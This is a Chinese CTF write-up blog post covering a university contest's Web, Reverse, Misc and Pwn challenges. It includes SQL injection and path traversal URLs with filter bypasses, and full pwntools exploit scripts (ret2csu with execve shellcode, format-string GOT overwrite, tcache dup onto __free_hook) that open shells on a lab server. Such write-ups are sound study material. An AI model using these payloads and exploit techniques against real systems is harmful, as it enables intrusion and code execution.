一晃一年过去了,今年的个人赛肝的有点累。

Web

100 分的题目就不想名字了

任意文件读取,../ 被过滤了,要双写绕过:

http://10.21.13.190:22222/index.php?dir=.....///.....///.....///flag/flag1.txt

我苦心锻炼了三年

sql 注入,过滤了 andor(双写绕过)以及空格(%a0):

http://10.21.13.190:23579/youseesee.php?id=1%27%29anandd%271%27%3D%271%27%23
http://10.21.13.190:23579/youseesee.php?id=1%27)%a0oorrder%a0by%a03%23
http://10.21.13.190:23579/youseesee.php?id=7%27)%a0uniounionn%a0seleselectct%a01,1,database()%23
http://10.21.13.190:23579/youseesee.php?id=7%27)%a0uniounionn%a0seleselectct%a01,1,group_concat(table_name)%a0from%a0infoorrmation_schema.tables%a0where%a0table_schema=database()%23
http://10.21.13.190:23579/youseesee.php?id=7%27)%a0uniounionn%a0seleselectct%a01,1,group_concat(column_name)%a0from%a0infoorrmation_schema.columns%a0where%a0table_schema=database()anandd%a0table_name='N0_Ga3E_N0_1ife'%23
http://10.21.13.190:23579/youseesee.php?id=7%27)%a0uniounionn%a0seleselectct%a01,1,group_concat(0ne9unch3an)%a0from%a0N0_Ga3E_N0_1ife%23

Re

Click

VB 程序,要求点击十万次就能拿到 flag。VB 动态调起来基本都在 dll 里绕来绕去,直接用 ida。找到 cmp edx, 186A0h 的地方,用 keypatch 改成 cmp edx, 10h,保存到文件之后,点十六下就能拿到 flag。

.text:004139DF                 mov     eax, 0Ah
.text:004139E4                 mov     ecx, 80020004h
.text:004139E9                 mov     [ebp+var_FF0], eax
.text:004139EF                 mov     [ebp+var_FE0], eax
.text:004139F5                 mov     [ebp+var_FD0], eax
.text:004139FB                 mov     eax, [ebp+var_B4C]
.text:00413A01                 mov     [ebp+var_FE8], ecx
.text:00413A07                 mov     [ebp+var_FD8], ecx
.text:00413A0D                 mov     [ebp+var_FC8], ecx
.text:00413A13                 lea     edx, [ebp+var_1000]
.text:00413A19                 lea     ecx, [ebp+var_FC0]
.text:00413A1F                 mov     [ebp+var_FF8], eax
.text:00413A25                 mov     [ebp+var_1000], 8
.text:00413A2F                 call    ds:__vbaVarDup

或者在代码段可以看到 mov eax, [ebp+var_B4C],在那堆字符串里找到对应的 flag:

.text:004121DD                 mov     edx, offset aFlagIMJessicaB ; "flag{I'm Jessica Banks}"
.text:004121E2                 lea     ecx, [ebp+var_B4C]
.text:004121E8                 call    esi ; __vbaStrCopy

试了一下把每点一次的次数改大一点,发现不可能点出来。因为次数用的是有符号 int 存的,最大也就 32767,再大就变成负数 -32767 了。

Message-Digest

upx -d 脱一下壳,gdb 调一下就大概知道是怎么回事了。直接爆破:

#!/usr/bin/env python
import hashlib
length = 6
for i in range(100000, 1000000):
    res = hashlib.md5(str(i) + 're200').hexdigest().upper()
    print res
    if res == '6941162AC29D59EBC6C3737D296359B2':
        print i, 'Success!'
        break

POKPOK

网上整一个满级号存档,然后金手指直接跳到打五大天王,打通后找到 flag。

或者直接用 Advance Map 查看地图就能找到 flag。

COFFEE

jadx 反编译一下发现是在 native 层进行了加密。反编译一下资源里的 .so 文件。

看到 data 段给了一半被加密了的 flag,然后将输入的信息和前 16 位异或之后得到正确的 flag。

然后中间还有一个对输入的 check,正确的输入经过一个 encrypt 函数加密后得到的内容与 data 段中给出的另一段密文相等。加密函数如下:

int __fastcall encrypt(const unsigned __int8 *key, unsigned __int8 *buf, int num_2)
{
  unsigned int v4; // [sp+Ch] [bp-3Ch]
  unsigned int v5; // [sp+10h] [bp-38h]
  unsigned int v6; // [sp+14h] [bp-34h]
  unsigned int v7; // [sp+18h] [bp-30h]
  unsigned int j; // [sp+20h] [bp-28h]
  unsigned int i; // [sp+24h] [bp-24h]
  int v10; // [sp+28h] [bp-20h]
  unsigned int v11; // [sp+2Ch] [bp-1Ch]
  unsigned int v12; // [sp+30h] [bp-18h]

  v7 = bswap32(*(_DWORD *)key);
  v6 = bswap32(*((_DWORD *)key + 1));
  v5 = bswap32(*((_DWORD *)key + 2));
  v4 = bswap32(*((_DWORD *)key + 3));
  for ( i = 0; i < num_2; ++i )
  {
    v10 = 0;
    v12 = bswap32(*(_DWORD *)&buf[8 * i]);
    v11 = bswap32(*(_DWORD *)&buf[8 * i + 4]);
    for ( j = 0; j <= 0x1F; ++j )
    {
      v10 -= 0x61C88647;
      v12 += (v6 + (v11 >> 5)) ^ (v7 + 16 * v11) ^ (v10 + v11);
      v11 += (v4 + (v12 >> 5)) ^ (v5 + 16 * v12) ^ (v10 + v12);
    }
    buf[8 * i] = HIBYTE(v12);
    buf[8 * i + 1] = BYTE2(v12);
    buf[8 * i + 2] = BYTE1(v12);
    buf[8 * i + 3] = v12;
    buf[8 * i + 4] = HIBYTE(v11);
    buf[8 * i + 5] = BYTE2(v11);
    buf[8 * i + 6] = BYTE1(v11);
    buf[8 * i + 7] = v11;
  }
  return 0;
}

加密函数中,v10 显然是个常数,每一轮的值是固定的,而 v11v12 也只是被之前得到的数值进行了加减操作,显然是可逆的。最需要注意的就是大小端。Solve:

#!/usr/bin/env python
enc = [0x3C, 0x26, 0x26, 0x34, 0x2E, 0x0F, 0x31, 0x32, 0x6E, 0x20, 0x73, 0x2B, 0x34, 0x3C, 0x20, 0x4A, 0x20, 0x53, 0x4F, 0x4D, 0x45, 0x20, 0x54, 0x45, 0x41, 0x21, 0x7D]
key = [0x00, 0x01, 0x03, 0x04, 0x05, 0x06, 0x07, 0x08, 0x09, 0x0A, 0x0B, 0x0C, 0x0D, 0x0E, 0x0F, 0x00]
buf = [0xAB, 0x7D, 0x9A, 0xF9, 0x72, 0x86, 0x55, 0xF6, 0x8F, 0xBC, 0x39, 0x58, 0x28, 0x88, 0xD8, 0x09]
flag = ''

def pack(array):
    if len(array) != 4:
        print '[*] Length is not correct!'
    else:
        res = 0
        for i in range(3, -1, -1):
            res += array[i]
            res = res * 0x100
        return res / 0x100

def unpack(dword):
    res = []
    for i in range(4):
        t = dword & 0xff
        dword >>= 8
        res.append(t)
    res = res[::-1]
    return res

#print hex(pack([0x12, 0x34, 0x56, 0x78]))
#t = unpack(0x12345678)
#print t
#for x in t:
#    print hex(x)

def decrypt(key, buf, num=2):
    print 'Decryption:'
    v7 = pack(key[0:4][::-1])
    print hex(v7)
    v6 = pack(key[4:8][::-1])
    print hex(v6)
    v5 = pack(key[8:12][::-1])
    print hex(v5)
    v4 = pack(key[12:16][::-1])
    print hex(v4)
    print 'encrypt:',
    for x in buf:
        print hex(x),
    print
    res = []
    for i in range(2):
        v11 = pack(buf[8*(1-i)+4:8*(1-i)+8][::-1])
        v12 = pack(buf[8*(1-i):8*(1-i)+4][::-1])
        print 'v11:', hex(v11)
        print 'v12:', hex(v12)
        v10 = 0xc6ef3720
        for j in range(0x20):
            v11 -= (v4 + (v12 >> 5)) ^ (v5 + 16 * v12) ^ (v10 + v12)
            v11 = v11 & 0xFFFFFFFF
            v12 -= (v6 + (v11 >> 5)) ^ (v7 + 16 * v11) ^ (v10 + v11)
            v12 = v12 & 0xFFFFFFFF
            v10 += 0x61C88647
            v10 = v10 & 0xFFFFFFFF
#            print 'Round', 0x20-j, 'v11:', hex(v11), 'v12:', hex(v12)
        print 'Origin v11:', hex(v11)
        res.extend(unpack(v11)[::-1])
        print 'Origin v12:', hex(v12)
        res.extend(unpack(v12)[::-1])
    res = res[::-1]
    print 'plain:',
    for x in res:
        print hex(x),
    print
    return res
print '----------HERE ARE THE RESULT----------'
res = decrypt(key, buf)

for i in range(16):
    flag += chr(enc[i] ^ res[i])
for i in range(16, len(enc)):
    flag += chr(enc[i])
print 'flag ==>', flag

其实根据 encrypt 函数中 v10 减去的值可以判断出加密算法是 TEA,被魔改成了两轮加密。

Misc

Sign_in

复制粘贴 flag。

Differ

通过判断文件的 md5 值来 diff:

#!/usr/bin/env python
import hashlib
diff = []
flag = ''
for i in range(100, 1000):
    name = str(i) + '.txt'
    f = open(name, 'rb')
    content = f.read()
    f.close()
    t = hashlib.md5(content).digest().encode('hex')
    if t in diff:
        print name, t, 'is in diff'
    diff.append(t) # dbfe6da0f40487d84dbc2b139f727a31
    if t == 'dbfe6da0f40487d84dbc2b139f727a31':
        print name
        flag += str(i)
print flag

PACMAN

反编译一下在 MainLoop 函数里找到 flag:

int MainLoop()
{
  signed int i; // [rsp+Ch] [rbp-4h]

  DrawWindow();
  wrefresh(win);
  wrefresh(status);
  usleep(0xF4240u);
  do
  {
    MovePacman(1000000LL);
    DrawWindow();
    CheckCollision();
    MoveGhosts();
    DrawWindow();
    CheckCollision();
    if ( Points > FreeLife )
    {
      ++Lives;
      FreeLife *= 2;
    }
    Delay();
  }
  while ( Food > 0 );
  if ( Points > 333 )
  {
    mytmp = 'f21{USJZ';
    qword_205EA8 = 'c5ec16fb';
    qword_205EB0 = '}c55fbc9';
    byte_205EB8 = 0;
    for ( i = 5; i <= 22; ++i )
      --*((_BYTE *)&mytmp + i);
    pat = (char *)&mytmp;
  }
  DrawWindow();
  return usleep(0xF4240u);
}

AlphaStop

模仿棋,破解的方法:

Solve:

#!/usr/bin/env python
from pwn import *
# context.log_level = 'debug'
p = remote('10.21.13.190', 2604)
ins = ['J11', 'I11', 'I10', 'I9', 'J8', 'K8', 'L9', 'L10', 'L11', 'K12']
for x in ins:
    p.sendline(x)
for i in range(1, 20):
    for j in range(13, 20):
        x = chr(ord('A') - 1 + j)
        x = x + str(i)
        p.sendline(x)
for i in range(1, 9):
    p.sendline('L' + str(i))
for i in range(12, 20):
    p.sendline('L' + str(i))
for i in range(1, 8):
    p.sendline('K' + str(i))
for i in range(13, 20):
    p.sendline('K' + str(i))
for i in range(1, 8):
    p.sendline('J' + str(i))
p.sendline('K9')
p.sendline('K10')
p.recv()
p.interactive()

Blue_Whale

$ docker pull n132/blue_whale:Blue_Whale
Blue_Whale: Pulling from n132/blue_whale
7e6591854262: Pull complete
089d60cb4e0a: Pull complete
9c461696bc09: Pull complete
45085432511a: Pull complete
8aa06b945196: Pull complete
Digest: sha256:8087896e15320744a841504f98936c90d29fbdb590a4940fdd0708a053570cab
Status: Downloaded newer image for n132/blue_whale:Blue_Whale
$ docker run -it n132/blue_whale:Blue_Whale /bin/bash
root@46298885a759:/# find / -name "fl4g"
/lib/x86_64-linux-gnu/fl4g
root@46298885a759:/# cat /lib/x86_64-linux-gnu/fl4g
ZJGSUCTF{0fbaed8d210a7a0480220a5c803d8435}

Pwn

Mos

root@ed82d9634ea6:~/tmp# checksec ./main
[*] '/root/tmp/main'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE (0x400000)
    RWX:      Has RWX segments
root@ed82d9634ea6:~/tmp# ./main
123
Magic Adress ===>>>0x7ffd7ac7ab60

障眼法,Exploit:

#!/usr/bin/env python
from pwn import *
context.log_level = 'debug'
context.terminal = ['tmux', 'sp', '-h']
context.arch = 'amd64'
local = 0
if local:
    p = process('./main')
else:
    p = remote('10.21.13.190', 2600)
# gdb.attach(p)
main = 0x400566
csu_end_addr = 0x40060a
csu_front_addr = 0x4005f0
buf = 0x00601000 + 0x100

offset = 24
payload = 'A' * offset + p64(csu_end_addr) + p64(0) + p64(1) + p64(read_got) + p64(0x400) + p64(buf) + p64(0) + p64(csu_front_addr) + '\x00' * 56 + p64(buf)
p.send(payload)
payload = asm('''
    mov rax, 59
    mov rsi, 0
    mov rdx, 0
    mov rdi, 0x68732f6e69622f
    push rdi
    mov rdi, rsp
    syscall
''')
p.send(payload)
p.interactive()

Time

格式化字符串,长度受到时间的限制,改 system@got.plt 的后两个字节为 one_gadget:

#!/usr/bin/env python
from pwn import *

#context.log_level = 'debug'
context.terminal = ['tmux', 'split', '-h']

p = process('./time')
elf = ELF('./time')

one_gadgets = [0x45216, 0x4526a]
info(one_gadgets)

gdb.attach(p)

p.recvuntil('went by....\n')
payload = '%{}c%8$hn'.format(one_gadgets[1] & 0xffff).ljust(0x10, '\x00') + p64(elf.got['system'])
p.sendline(payload)

p.interactive()

Note

填满 tcache 后用 unsortedbin 泄漏 libc,然后用 tcache dup 把 __free_hook 改成 system。Exploit:

#!/usr/bin/env python
from pwn import *
context.log_level = 'debug'
context.terminal = ['tmux', 'sp', '-h']
local = 0
if local:
    p = process('./note')
    libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
else:
    p = remote('10.21.13.190', 2599)
    libc = ELF('./libc-2.27.so')
one_gadget = [0x4f2c5, 0x4f322, 0x10a38c]
# gdb.attach(p)

def cmd(c):
    p.recvuntil('========\n\n')
    p.sendline(str(c))

def add(content):
    cmd(1)
    p.recvuntil('Note>\n')
    p.send(content)

def delete(idx):
    cmd(2)
    p.recvuntil('>')
    p.sendline(str(idx))

def show(idx):
    cmd(3)
    p.recvuntil('>')
    p.sendline(str(idx))

add('A') # 0
add('B') # 1
add('A') # 2
add('A') # 3
add('A') # 4
add('A') # 5
add('A') # 6
add('A') # 7
add('A') # 8
delete(2)
delete(3)
delete(4)
delete(5)
delete(6)
delete(7)
delete(8)
delete(0)
show(0)
offset = 0x7f6d1974dca0-0x7f6d19362000
libc_base = u64(p.recvuntil('\x7f')[-6:].ljust(8, '\x00')) - offset
success('libc_base = ' + hex(libc_base))
one_gadget = libc_base + one_gadget[2]
success('one_gadget = ' + hex(one_gadget))

add('A') # 0
add('A') # 2
add('A') # 3
add('A') # 4
add('A') # 5
add('A') # 6
add('A') # 7
add('A') # 8
delete(8)
delete(8)
free_hook = libc_base + libc.symbols['__free_hook']
add(p64(free_hook)) # 8
add('A') # 9
system = libc_base + libc.symbols['system']
success('system = ' + hex(system))
add(p64(system)) # 10
# gdb.attach(p)
add('/bin/sh') # 11
delete(20)
p.interactive()

ctf wp

本博客所有文章除特别声明外,均采用 CC BY-SA 3.0协议 。转载请注明出处!

渗透测试基础指南
2019-Starctf-blindpwn